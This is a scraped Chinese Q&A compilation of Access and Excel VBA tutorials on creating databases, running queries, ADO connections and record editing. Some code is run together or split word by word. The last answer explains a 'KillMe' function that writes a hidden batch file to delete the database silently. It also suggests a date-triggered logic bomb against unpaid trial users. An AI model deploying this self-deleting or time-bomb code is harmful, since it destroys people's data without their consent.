access vba编程教程,Execl_VBA操作Access数据库。查询,更新,删除
access vba编程教程,Execl_VBA操作Access数据库。查询,更新,删除详细介绍
本文目录一览: 如何用vb建立一个access数据库?
Private Sub Command1_Click()
On Error GoTo Err100
'定义表与字段
Dim DefDatabase As Database
Dim DefTable As TableDef, DefField As Field
Set DefDatabase = Workspaces(0).OpenDatabase(App.Path & "\vbeden.mdb", 0, False)
Set DefTable = DefDatabase.CreateTableDef("VB编程")
'dbBinary = 9
'dbBoolean = 1
'dbByte = 2'dbChar=18'dbDate=8'dbInteger=3'dbLong=4'dbMemo=12'dbText=10'建立Name字段为8个字符型
Set DefField = DefTable.CreateField("Name", dbText, 8)
DefTable.Fields.Append DefField
Set DefField = DefTable.CreateField("Sex", dbText, 2)
DefTable.Fields.Append DefField
'该字段允许为空
DefField.AllowZeroLength = True
'建立Age字段为3个的常整型
Set DefField = DefTable.CreateField("Age", dbInteger, 3)'字段追加DefTable.Fields.Append DefField'表追加DefDatabase.TableDefs.Append DefTable
MsgBox " 数据库建立完成!", vbInformationExit SubErr100:MsgBox "对不起,不能建立表。请先再建表前建立VBEden数据库? ", vbCriticalEnd SubPrivate Sub cmdCreate_Click()
On Error GoTo Err100
'建立名为 VBEDEN 的数据库
CreateDatabase "VB-CODE", dbLangGeneral
MsgBox "数据库建立完成! ", vbInformationExit SubErr100:MsgBox "不能建立数据库! " & vbCrLf & vbCrLf & Err.Description, vbInformationEnd Sub建立数据库后,一般用ADO的技术来实现数据操作是比较好的办法。引用微软的ADO组件,里面两个对象一个是连接对象用来连接数据库。另一个记录集对象可以操作数据库。详细的使用请买本书好好看吧,不是几句话可以说清的。 用VB建数据库
打开VB后选"外接程序"的第一项
这时打开了一个新的窗体建好数据库后就可以建表了,在表中添加字段就可以了.
vb只是一个编程语言,并不能建立数据库,建立access数据库要完全在access中进行。
前提条件:必须安装微软access数据库。
步骤:
1、找好要存放数据库的路径,如C盘data路径;
2、路径下空白处点右键,新建-Microsoft Access数据库,如图:
3、这时路径下就有了一个access文件,可以右键-重命名来为数据库起名,如,起名叫测试数据库;
4、双击access文件,在里边创建所要的表,函数等等即可。
在access中用vba如何运行一个已经存在的动作查询?
DoCmd.OpenQuery "查询1"
可以打开名称为 查询1 的查询窗口。。
DoCmd.OpenQuery "查询名称"
或者执行查询的SQL语句如:Docmd.RunSql "delete...."
ACCESS中用VBA代码运行一个已经定义的动作查询,可以用运行DoCmd对象的OpenQuery方法予以实现。
下面例子示范单击ACCESS窗体命令按钮,执行一个预定义的动作查询将表T1中的数据清空。
1)预先定义一个动作查询
将SQL语句:delete from T1;
保存为查询名 “清空T1"
2) 执行该动作查询
Private Sub Command0_Click() DoCmd.OpenQuery "清空T1"End Sub
下图是ACCESS联机帮助中关于OpenQuery方法的说明截图供参考
access 如何用VBA增加记录?
按Alt+F11进入VBA,插入一个模块,粘贴以下代码:
Sub 在条码表中插入150条记录()
For i = 1 To 150
'insert into 条码表(条码,批次) values('A000001','JJJ1-1')
CurrentDb.Execute ("insert into 条码表(条码,批次) values('A" & Right(CStr(1000000 + i), 6) & "','JJJ1-1')")
Next
End Sub
光标定位到“在条码表中插入150条记录()”,按F5执行这个过程。
如果没有解决你的问题,请发百度消息给我。
回复补充:
是的.就是将
CurrentDb.Execute ("insert into 表名(字段1的字段名,字段2的字段名) values('字段1的值','字段2的值')")
这一句执行150次..
access中怎么样VBA编程设置某列显示为百分比
在VBA编程中,如果需要将数值转换为百分数,可以使用FormatPercent()函数,语法格式为:
FormatPercent([数值])
过程源代码:
'将输入的数值转换为百分数Sub百分数()Dim x AsDouble
x =InputBox("请输入欲转化为百分数的数值:")MsgBox x &"转化为百分数为:"&FormatPercent(x),,"FormatPercent()函数"EndSub
执行过程:按F5键运行“百分数”过程,在输入对话框中输入数字。
如何用vba代码将access数据库连接求代码
<%
const Domain=""
const DbPath=""
on error resume next
Dim Conn,Connstr,Db
Db="shoushi.mdb" 这里是写你自己数据库的名字 不是表名
Set Conn=Server.CreateObject("Adodb.connection")
Connstr="Provider=Microsoft.Jet.OLEDB.4.0;Data Source=" &server.MapPath(Domain&DbPath&Db)
Conn.Open Connstr
if err then
Response.Write(err.description)
Response.End()
end if
%>
>>.用vba连接ACESS:
Set Conn= Server.CreateObject("ADODB.Connection")
Conn.ConnectionString="Provider=Microsoft.Jet.OLEDB.4.0;Data Source=" & Server.MapPath("sample.mdb")
Conn.Open
>>.用vba连接EXCEL,打开EXCEL记录集:
Set connExcel = Server.CreateObject("ADODB.Connection")
connStr="Provider=Microsoft.Jet.OLEDB.4.0;Data Source=" & Server.MapPath( "InputExcel\sample.xls") &";Extended Properties='Excel 8.0;HDR=YES;IMEX=1';"
connExcel.Open connStr
Set rs = Server.CreateObject("ADODB.Recordset")
rs.Open "Select * From [sheet1$]", connExcel, 0, 1
>>.vba数据处理[转载]:
===============================================
用Excel+VBA+SQL Server进行数据处理
使用Excel+VBA+SQL Server进行数据处理是一种简单有效方法,掌握以下基础知识实现快速入门(掌握excel/vba/sqlserver各1%内容,你就能成为数据处理高手的:)):
一、Excel基础知识
了解工作簿(Workbook)、工作表(Worksheet)、单元格(Cell)等的基本概念,熟悉一些基本操作。
二、SQL Server基础知识
参见
1、数据库有关概念:数据库、表、记录、字段
A)数据库(Database)
B)表(Table)、记录(行,Row,Record)、字段(列,Column,Field)...
2、常见数据操作的SQL命令:select, insert , update ,delete
三、VBA基础知识:
1、基本概念。
2、基本控制结构:
·顺序结构:程序按顺序执行;
·分支结构命令:
if 条件 then
end if
或:
if ... then
...
else
...
end if
或:
if ... then
...
elseif ...
...
else
...
end if
等。。
·循环结构命令:
for i=? to ??
...
next
或
do while ...
...
loop
3、在VBA中操纵对象,先理解操纵EXCEL工作表和数据库对象:
将值写入EXCEL单元格,如:thisworkbook.worksheets("sheet1").cells(1,2)=1234444
从EXCEL单元格取得数值,如:x=thisworkbook.worksheets("sheet1").cells(1,2)
数据库操作:
cn.open ...(建立数据连接对象)
rs.open ... (建立数据集对象)
x=rs("...") (读取数值)
rs.close (关闭rs)
cn.close (关闭cn)
cn.execute (执行sql语句)
...
四、例子
sub test() '定义过程名称
Dim i As Integer, j As Integer, sht As Worksheet 'i,j为整数变量;sht 为excel工作表对象变量,指向某一工作表
Dim cn As New ADODB.Connection '定义数据链接对象 ,保存连接数据库信息;请先添加ADO引用
Dim rs As New ADODB.Recordset '定义记录集对象,保存数据表
Dim strCn As String ,strSQL as String '字符串变量
strCn = "Provider=sqloledb;Server=服务器名称或IP地址;Database=数据库名称;Uid=用户登录名;Pwd=密码;" '定义数据库链接字符串
'下面的语句将读取数据表数据,并将它保存到excel工作表中:画两张表想像一下,工作表为一张两维表,记录集也是一张两维表
strSQL = "select 字段1,字段2 from 表名称" '定义SQL查询命令字符串
cn.Open strCn '与数据库建立连接,如果成功,返回连接对象cn
rs.Open strSQL, cn '执行strSQL所含的SQL命令,结果保存在rs记录集对象中
i = 1
Set sht = ThisWorkbook.Worksheets("sheet1") '把sht指向当前工作簿的sheet1工作表
Do While Not rs.EOF '当数据指针未移到记录集末尾时,循环下列操作
sht.Cells(i, 1) = rs("字段1") '把当前记录的字段1的值保存到sheet1工作表的第i行第1列
sht.Cells(i, 2) = rs("字段2") '把当前字段2的值保存到sheet1工作表的第i行第2列
rs.MoveNext '把指针移向下一条记录
i = i + 1 'i加1,准备把下一记录相关字段的值保存到工作表的下一行
Loop '循环
rs.Close '关闭记录集,至此,程序将把某数据表的字段1和字段2保存在excel工作表sheet1的第1、2列,行数等于数据表的记录数
'下面的语句将读取excel工作表数据,并将之简单计算后存入数据库,这里使用上面程序中的一些变量
'假设分别读取工作表sheet1第5行至第500行的第8列和第9列已存在的数据,然后将它们相乘,并将积存入数据库的某个表
strSQL="" '清空上面定义的变量
for i=5 to 500 '循环开始,i从5到500
strSQL=strSQL & "insert into 表名(字段) values(" & sht.cells(i,8)*sht.cells(i,9) & ") ;" '构造SQL命令串
next
'至此生成一串SQL命令串,保存的内容大概为:insert into 表名(字段) values(数值1);insert into 表名(字段) values(数值2);...
cn.execute strSQL '执行该SQL命令串,如果SQL命令没有错误,将在数据库中添加501个记录;也可以用rs.open strSQL,cn 执行
cn.close '关闭数据库链接,释放资源
end sub
=====================================
>>.听说可以用一条语句实现记录集导入excel表,而且不是用循环的,不知道是真是假,等待高手的回答。
如果条件成立执行本语句块>
Access VBA中如何使用 SQL 语句。
创建查询
右键-sql视图
写入sql语句
保存(命名)
参考:Office中国论坛
access vba中使用sql的方法举例:
Private Sub Command12_Click()
Dim sqlStr As String
Dim condStr As String
Dim db As Database
Dim rs As Recordset
Dim f As Field
Set db = CurrentDb
sqlStr = "SELECT 品名.名称, 品名.性质(分类), 品名.类别, 品名.用法,品名.有效病菌 FROM [品名]"
If Me.名称 <> "" Then
condStr = " 品名.名称 = '" & Me.名称 & "'"
ElseIf Me.性质 <> "" Then
condStr = " 品名.性质(分类) = '" & Me.性质 & "'"
ElseIf Me.用法 <> "" Then
condStr = " 品名.用法 = '" & Me.用法 & "'"
ElseIf Me.类别 <> "" Then
condStr = " 品名.类别 = '" & Me.类别 & "'"
ElseIf Me.有效病菌 <> "" Then
condStr = " 品名.有效病菌 = '" & Me.有效病菌 & "'"
End If
If condStr <> "" Then
sqlStr = sqlStr & " where " & condStr
End If
Set rs = db.OpenRecordset(sqlStr, dbOpenDynaset)
Me.查询数据.Form.RecordSource = sqlStr
Me.查询数据.Requery
End Sub
Private Sub Command1_Click()
Dim sql as string
Dim rst As DAO.Recordset
sql = "SELECT DGZY.usename FROM DGZY WHERE (((DGZY.usename) Like " & '张三' & "))"
Set rst = CurrentDb.OpenRecordset
'然后你就可以处理rst了,rst就是返回的记录集
End Sub
提问里是一段打开ADO记录集对象的代码,并不完整且含有错误。下面提供一个完整一点的代码供参考:
Private Sub Command111_Click() Dim sql As String '声明ADO记录集对象 Dim rs As ADODB.Recordset Set rs = New ADODB.Recordset '实例化记录集对象 '拼写SQL语句并赋值到变量 sql = "SELECT DGZY.usename FROM DGZY WHERE (((DGZY.usename) Like '张三'));" '打开记录集 rs.Open sql, CurrentProject.Connection, adOpenKeyset, adLockOptimistic '利用记录集对象进行所需的有关操作,代码略End Sub
ACCESS里打开某数据库后如何用VBA引用表、记录及字段值
这个还是比较简单的,你首先随便在“查询”里面建立一个查询,之后你会看到在工具栏中有一个表达式生成器,进去之后可以选择所有的表、查询、窗体、报表等的字段值,还有窗体里面的文本框、下拉菜单的值。
你把生成器生成的代码放到你的程序中就能直接调用了
比如 [数据表名]![字段名]
Forms![窗体名]![文本框名]
在
Access
2003
中,您可以使用
Visual
Basic
编辑器查看当前选择的
VBA
引用。为此,请按照下列步骤操作:
启动
Access
2003。
打开一个
Access
数据库。
按
ALT+F11
打开
Visual
Basic
编辑器。
在
Visual
Basic
编辑器窗口中,单击“工具”菜单上的“引用”。在“引用”对话框中,您可以看到所选的引用。注意
当选择了一个引用后,您还可以查看有关使用该引用必须加载的文件的信息。相关文件可能是类型库、对象库或控件库。每个引用的相关文件会根据“引用”对话框中显示的信息进行加载。但是,如果找不到相应的文件,Access
2003
将在计算机上的其他位置搜索它。对于所选的每个
VBA
引用,Access
2003
都会执行以下任务:
Access
验证是否已加载了引用的文件。
如果当前未加载引用的文件,Access
将验证
RefLibPaths
注册表项是否存在。
如果
RefLibPaths
注册表项存在,Access
将搜索与引用具有相同名称的命名值。如果有匹配的命名值,则
Access
将从命名值中提及的路径加载引用。注意
您可以将
RefLibPaths
注册表项手动添加到注册表中,然后可以添加
RefLibPaths
注册表项下任何外接程序或任何库的名称和位置。为此,请按照下列步骤操作。
单击“开始”,然后单击“运行”。
在“打开”框中,键入
regedit,然后单击“确定”。
在“注册表编辑器”窗口中,找到以下注册表项:HKEY_LOCAL_MACHINE\Software\Microsoft\Office\11.0\Access
右键单击“Access”注册表项,指向“新建”,然后单击“项”。
将新创建的项命名为
RefLibPaths。
单击“RefLibPaths”。
右键单击右窗格中的任意位置,然后单击“字串值”。
使用与
VBA
引用相同的名称命名新创建的字符串值。
右键单击您在第
8
步中创建的字符串值,然后单击“修改”。
在“编辑字符串”对话框中,键入必须加载的文件的位置以与
VBA
中的引用对应。注册表值名称必须是文件名加扩展名。位置(数值数据)必须是路径加文件名。例如,如果设置对
Northwind
示例数据库的引用,则可以添加以下值:
数值名称:Northwind.mdb
数值数据:C:\Program
Files\Microsoft
Office\Office11\Samples\Northwind.mdb
重复第
7
步到第
10
步,将适当的外接程序或库的名称和位置作为字符串值添加。
在“文件”菜单上,单击“退出”。如果
RefLibPaths
注册表项不存在或未包含正确的引用,则
Access
使用“SearchPath”API
搜索引用的文件。将执行以下搜索:
搜索范围说明
应用程序目录
Msaccess.exe
的位置。
当前目录在“文件”菜单上单击“打开”时所看到的目录。
系统目录
Windows
文件夹或
WINNT
文件夹中的
System
文件夹和
System32
文件夹。
WinDir
操作系统文件在其中运行的文件夹。这通常是
Windows
文件夹或
WINNT
文件夹。
PATH
环境变量此系统变量包含系统可直接访问的一组文件夹。Microsoft
Windows
NT
4.0:在控制面板中,双击“系统”,然后单击“环境”选项卡。PATH
变量显示在“系统变量”列表中。Microsoft
Windows
2000
或
Microsoft
Windows
Server
2003:在控制面板中,双击“系统”,单击“高级”选项卡,然后单击“环境变量”。PATH
显示在“系统变量”列表中。
文件目录包含
.mdb
文件、.mde
文件、.adp
文件或
.ade
文件的文件夹和任何子文件夹。注意
如果您要引用的文件位于上表中提到的任何目录中,则
Access
不需要
RefLibPaths
注册表项。如果
Access
2003
无法找到相关引用,当您编译项目或尝试运行某个过程时,将收到以下错误信息:
Your
Microsoft
Office
Access
database
or
project
contains
a
missing
or
broken
reference
to
the
file
file
name.*
To
ensure
that
your
database
or
project
works
properly,
you
must
fix
this
reference.
注意
在数据库已打开的情况下,对于每个无法找到的引用,您都会收到一次前面提及的错误信息。例如,如果您打开了
MyDatabase.mdb
并且
MyDatabase.mdb
丢失了对
Microsoft
Calendar
控件和
Microsoft
DAO
库的引用,则您会收到两条错误信息,丢失的每个引用对应一条错误信息。如果您未修复这些引用,那么当您关闭数据库然后再重新打开时,您将再次收到这些错误信息。如果您修复了这些引用并保存了数据库,则下次打开该数据库时就不会收到这些错误信息了。BrokenReference
属性Access
的
Application
对象具有一个
BrokenReference
属性,该属性可以告诉您是否有任何引用出现了错误。若要检查
BrokenReference
属性,请按照下列步骤操作:
启动
Access
2003。
打开一个
Access
数据库。
按
ALT+F11
打开
Visual
Basic
编辑器。
按
CTRL+G
组合键打开“立即”窗口。
在“立即”窗口中,键入以下命令,然后按
Enter
键:?Application.BrokenReference请注意,如果存在丢失的引用,Application
对象的
BrokenReference
属性将返回“True”。否则,BrokenReference
属性将返回“False”。
Execl_VBA操作Access数据库。查询,更新,删除
'// 创建ADO记录集对象 Set adoRt = CreateObject("ADODB.RecordSet") '// 设置SQL 语句 strSQL = "SELECT * FROM TMB WHERE False" With adoRt '// 设置需要连接数据库 .ActiveConnection = "Provider=Microsoft.Jet.OLEDB.4.0;Data Source=D:\TM.mdb" .CursorLocation = 3 .CursorType = 1 .LockType = 3 '// 设置SQL语句 .Source = strSQL '// 准备打开记录集 .Open '删除TMB表中的所有记录 if adort.recordcount<>0 then adort.movefirst do while not adort.eof adort.delete adort.movenext loop endif '// 新增记录 .AddNew '// 赋值 .Fields("TMZF").Value = Range("识别号") '// 更新 .Update '// 判断并关闭记录 If .State = 1 Then .Close End If End With '// 从内存中释放 Set adoRt = Nothing
access2007怎么设置打开数据库后进行操作的VBA代码
解析如下:
Public Function KillMe() As Boolean
Dim mPath As String
On Error GoTo InIDE
如果发生错误,则跳转到inIDE。但由于inIDE后紧跟End Function,也就是说发生错误结束函 数。
mPath = CurrentProject.Name
将您正在操作的对象(即您的access数据库)的名称赋予变量mPath。实际上这句有些多余,因为下面几句随即将路径赋予了mPath。
If Right$(CurrentProject.Path, 1) = "\" Then
mPath = CurrentProject.Path
Else
mPath = CurrentProject.Path & "\"
End If
上面的假如语块,保证路径后面有反斜杠(即\)。
Open mPath & "Demon.bat" For Output As #1
以顺序输出(Output表示顺序输出,如果再有文件写入,将写在该文件内容之后)的方法将……\Demon.bat 文件输出到文件号为1的缓存区;如果不存在这个文件,则在这个路径下新建一个Demon.bat 文件,并且也输出到文件号为1的缓存区,当然此时文件内容为空。我感觉电脑里本身不存在……\Demon.bat这个批处理文件(后缀bat市批处理文件,它是一个可执行的文件),否则它直接给出绝对路径而不会用mPath变量了。
Print #1, ":Repeat" & vbCrLf & _
"del """ & mPath & CurrentProject.Name & "" & vbCrLf & "" _
; "if exist """ & mPath & CurrentProject.Name & """ goto Repeat " & vbCrLf & _
"del %0"
Print #1, 内容,就是将后面的内容写入文件号1的缓存区,实际上就是将内容写入Demon.bat这个文件。具体内容是:(vbCrLf表示回车换行)
【 :Repeat
del (路径)\您的access数据库
if exist"(路径)\您的access数据库" goto Repeat
del %0】
具体的批处理代码意思好久没用了有些模糊了,上面【】内基本意思是:删除你的access数据库,如果数据库一直存在没被删除,则返回:Repeat语句,继续删除,直至删除。
Close #1
关闭文件号1的缓存区,实际上就是保存了Demon.bat内容。
Shell mPath & "Demon.bat", vbHide
Shell表示 以异步方式(我们平时代码是一步一步执行的,这行代码没执行完是不会执行下一行代码的,但异步方式,你执行……\Demon.bat的代码,其后的代码继续执行,结合你前面的代码内容,就是一方面执行Demon.bat代码,同时继续执行Application.Quit acQuitSaveNone这句代码)执行……\Demon.bat文件,并且以隐藏状态方式执行(你看不到Demon.bat文件的DOS窗口)。现在我们就会明白为什么【】里要用到if exist……这句了?由于两段代码同时运行,你的access数据库有可能更迟运行完(就是还没卸载完),一个打开的程序(没卸载完就还处于打开状态)是不能被删除的,通过goto Repeat反复等待,一旦卸载完即删除。
InIDE:
End Function
纵观整个代码,总体的意思是:当你关闭你的access数据库时,整个数据库莫名其妙悄无声息的被删除了。你看看函数的名称Killme(即"删除本身"),Kill me杀死自己,体现了编程者的用意。再看看Demon.bat中的Demon的意思,妖魔、鬼怪、灵异,如果用户不知情,程序莫名其妙没了,还以为发生了灵异事件了。
它的意义是:
1、消极意义:把这些代码植入别人的程序,那就坑爹了。
2、积极意义:(1)如果某些文字、图片等等你只想让别人看一次,你可以植入这些代码,这样别人在access程序里看一次后,就不可能再看第二次了,电影里常常有这些画面。(2)可以在这个代码内加上触发内容,比如在你的例子中加入假如:
Private Sub Form_Unload(Cancel As Integer)
if date()=#2013-10-01# then
KillMe
end if
Application.Quit acQuitSaveNone
End Sub
这样,当系统日期到达2103年10月1日是就会发生自行删除事件了,假如你有一个花了大心思做的access软件,让别人试用,到10月1日前要他付费,如果不付费你不用对他的数据库操作,它就会自行删除了,保证了版权。